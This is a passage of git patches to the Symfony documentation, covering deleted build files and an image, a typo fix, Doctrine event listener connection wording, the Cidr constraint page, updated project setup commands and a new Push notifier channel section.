-	%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
-	goto end
-)
-
-:end
diff --git a/_images/docs-pull-request-change-base.png b/_images/docs-pull-request-change-base.png
deleted file mode 100644
index d824e8ef1bc507beaf51bf95fbee20093dc44dff..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 5849
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
Xmi&>mce6+#0DCDtQCBFJGk^Jin!3@6

diff --git a/docs.json b/docs.json
deleted file mode 100644
index 70c1a299f0e..00000000000
--- a/docs.json
+++ /dev/null
@@ -1,3 +0,0 @@
-{
-    "exclude": ["_build"]
-}

From 1b548185685bdd8a5298e7dfa7344795a9a87717 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Nov 2021 16:05:07 +0100
Subject: [PATCH 2672/7107] Fix a minor typo

---
 components/console/helpers/cursor.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index da450925fc3..2485498fcab 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -53,7 +53,7 @@ Using the cursor
 Moving the cursor
 .................
 
-There are fews methods to control moving the command cursor::
+There are few methods to control moving the command cursor::
 
     // moves the cursor 1 line up from its current position
     $cursor->moveUp();

From 05437d3657016f9af32b8c39c7552aa8fec47f02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Nov 2021 17:13:50 +0100
Subject: [PATCH 2673/7107] Reword

---
 doctrine/events.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 282b91e47ad..4e5581c14de 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -171,8 +171,7 @@ with the ``doctrine.event_listener`` tag:
                         priority: 500
 
                         # you can also restrict listeners to a specific Doctrine connection
-                        # '%doctrine_default_connection%' = 'default'
-                        connection: '%doctrine_default_connection%'
+                        connection: 'default'
 
     .. code-block:: xml
 
@@ -188,13 +187,12 @@ with the ``doctrine.event_listener`` tag:
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
-                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\SearchIndexer">
                     <tag name="doctrine.event_listener"
                         event="postPersist"
                         priority="500"
-                        connection="%doctrine_default_connection%"/>
+                        connection="default"/>
                 </service>
             </services>
         </container>
@@ -220,8 +218,7 @@ with the ``doctrine.event_listener`` tag:
                     'priority' => 500,
 
                     # you can also restrict listeners to a specific Doctrine connection
-                    # '%doctrine_default_connection%' = 'default'
-                    'connection' => '%doctrine_default_connection%',
+                    'connection' => 'default',
                 ])
             ;
         };
@@ -232,6 +229,16 @@ with the ``doctrine.event_listener`` tag:
     Doctrine event is actually fired; whereas Doctrine subscribers are always
     loaded (and instantiated) by Symfony, making them less performant.
 
+.. tip::
+
+    The value of the ``connection`` option can also be a
+    :ref:`configuration parameter <configuration-parameters>`.
+
+    .. versionadded:: 5.4
+
+        The feature to allow using configuration parameters in ``connection``
+        was introduced in Symfony 5.4.
+
 Doctrine Entity Listeners
 -------------------------
 
@@ -442,8 +449,7 @@ Doctrine connection to use) you must do that in the manual service configuration
                       priority: 500
 
                       # you can also restrict listeners to a specific Doctrine connection
-                      # '%doctrine_default_connection%' = 'default'
-                      connection: '%doctrine_default_connection%'
+                      connection: 'default'
 
     .. code-block:: xml
 
@@ -458,10 +464,9 @@ Doctrine connection to use) you must do that in the manual service configuration
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
-                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="%doctrine_default_connection%"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
                 </service>
             </services>
         </container>
@@ -483,8 +488,7 @@ Doctrine connection to use) you must do that in the manual service configuration
                     'priority' => 500,
 
                     // you can also restrict listeners to a specific Doctrine connection
-                    # '%doctrine_default_connection%' = 'default'
-                    'connection' => '%doctrine_default_connection%',
+                    'connection' => 'default',
                 ])
             ;
         };
@@ -493,10 +497,6 @@ Doctrine connection to use) you must do that in the manual service configuration
 
     Subscriber priority was introduced in Symfony 5.3.
 
-.. versionadded:: 5.4
-
-    Parameter as connection value was introduced in Symfony 5.4.
-
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the

From dea59657423d709f51a2c2212ffcd9eca0f9fe75 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Nov 2021 17:14:17 +0100
Subject: [PATCH 2674/7107] Remove the versionadded directive

---
 doctrine/events.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 5c7401c53f6..dc3df4b6e20 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -234,11 +234,6 @@ with the ``doctrine.event_listener`` tag:
     The value of the ``connection`` option can also be a
     :ref:`configuration parameter <configuration-parameters>`.
 
-    .. versionadded:: 5.4
-
-        The feature to allow using configuration parameters in ``connection``
-        was introduced in Symfony 5.4.
-
 Doctrine Entity Listeners
 -------------------------
 

From f32ee434c78f0210b1630aecf31b2c89a80f0074 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 6 Nov 2021 16:30:26 +0100
Subject: [PATCH 2675/7107] Minor tweaks

---
 reference/constraints/Cidr.rst    | 20 ++++++++++----------
 reference/constraints/map.rst.inc |  1 +
 2 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 8f415162437..658a9910b7c 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -1,18 +1,17 @@
 Cidr
-==
+====
 
-Validates that a value is a valid CIDR notation. By default, this will validate
-the CIDR's IP and netmask both for version 4 and version 6, with the option of allowing
-only one type of IP version to be valid. It also supports a minimum and maximum range
-constraint in which the value of the netmask is valid.
+.. versionadded:: 5.4
+
+    The ``Cidr`` constraint was introduced in Symfony 5.4.
+
+Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation.
+By default, this will validate the CIDR's IP and netmask both for version 4 and 6,
+with the option of allowing only one type of IP version to be valid. It also supports
+a minimum and maximum range constraint in which the value of the netmask is valid.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `netmaskRangeViolationMessage`_
-            - `payload`_
-            - `version`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cidr`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator`
 ==========  ===================================================================
@@ -153,3 +152,4 @@ of a variety of different values:
 ``all``
     Validates all CIDR formats
 
+.. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index d6b974cefb3..9f8eb4b8c3f 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -22,6 +22,7 @@ String Constraints
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
+* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
 * :doc:`Uuid </reference/constraints/Uuid>`
 * :doc:`Ulid </reference/constraints/Ulid>`

From 1fb1f9919b36cc1b78ff9ebea6378e313b905147 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 6 Nov 2021 16:42:26 +0100
Subject: [PATCH 2676/7107] Remove the versionadded directive

---
 reference/constraints/Cidr.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 658a9910b7c..3bc3dcf3dec 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -1,10 +1,6 @@
 Cidr
 ====
 
-.. versionadded:: 5.4
-
-    The ``Cidr`` constraint was introduced in Symfony 5.4.
-
 Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation.
 By default, this will validate the CIDR's IP and netmask both for version 4 and 6,
 with the option of allowing only one type of IP version to be valid. It also supports

From d92e0f8c566ee62840caf12b0a6eb5cbe61b5941 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sun, 7 Nov 2021 10:01:01 +0330
Subject: [PATCH 2677/7107] Update setup.rst for V5.4

Creating the correct command and fixing the installation problem of version 5.4
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index d766fbfc5dd..122294b2e49 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --version="5.4.x@dev" --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name --version="5.4.x@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 3fc3c5f39a586e04caf46fbb31fb691783a55db1 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 7 Nov 2021 15:55:23 +0100
Subject: [PATCH 2678/7107] Add Push Channel with Integration Expo & OneSignal

---
 notifier.rst | 74 ++++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 72 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 8a56a0dc6ed..9a8d306ddca 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -21,8 +21,8 @@ Get the Notifier installed using:
 
     $ composer require symfony/notifier
 
-Channels: Chatters, Texters, Email and Browser
-----------------------------------------------
+Channels: Chatters, Texters, Email, Browser and Push
+----------------------------------------------------
 
 The notifier component can send notifications to different channels. Each
 channel can integrate with different providers (e.g. Slack or Twilio SMS)
@@ -36,6 +36,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
+* Push Channel sends notifications to phones via push notifications.
 
 .. tip::
 
@@ -317,6 +318,75 @@ notification emails:
             ;
         };
 
+Push Channel
+~~~~~~~~~~~~
+
+The push channel is used to send notifications to users by using
+:class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
+integration with these push services:
+
+==============  ====================================  =================================================================================
+Service         Package                               DSN
+==============  ====================================  =================================================================================
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Expo            ``symfony/expo-notifier``              ``expo://Token@default``
+OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
+==============  ====================================  =================================================================================
+
+.. versionadded:: 5.4
+
+    The Expo and OneSignal integrations were introduced in Symfony 5.4.
+
+To enable a texter, add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    EXPO_DSN=expo://TOKEN@default
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    expo: '%env(EXPO_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="expo">
+                        %env(EXPO_DSN)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('expo', '%env(EXPO_DSN)%')
+            ;
+        };
+
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3976f357240458a9ebc59de44c0ccfd0cfa7dfa1 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sun, 7 Nov 2021 10:04:56 +0330
Subject: [PATCH 2679/7107] Update setup.rst for V6.0

Creating the correct command and fixing the installation problem of version 6.0
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5d1ac071551..f6e35a764f5 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version="5.4.x@dev" --full
+    $ symfony new my_project_name --version="6.0.x@dev" --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version="5.4.x@dev"
+    $ symfony new my_project_name --version="6.0.x@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 63eb9889bea62e624aa6391dd64100bb60afa820 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 13:27:58 +0100
Subject: [PATCH 2680/7107] Re-add a refernece to keep previous links

---
 notifier.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 9a8d306ddca..c0aa0ac125f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -21,6 +21,8 @@ Get the Notifier installed using:
 
     $ composer require symfony/notifier
 
+.. _channels-chatters-texters-email-and-browser:
+
 Channels: Chatters, Texters, Email, Browser and Push
 ----------------------------------------------------
 

From d8a01786e2992fb7fd231f8fb19e40eb040c6e37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 13:28:40 +0100
Subject: [PATCH 2681/7107] Remove a versionadded directive

---
 notifier.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7af92f7f797..1b301c6fc35 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -294,10 +294,6 @@ Expo            ``symfony/expo-notifier``              ``expo://Token@default``
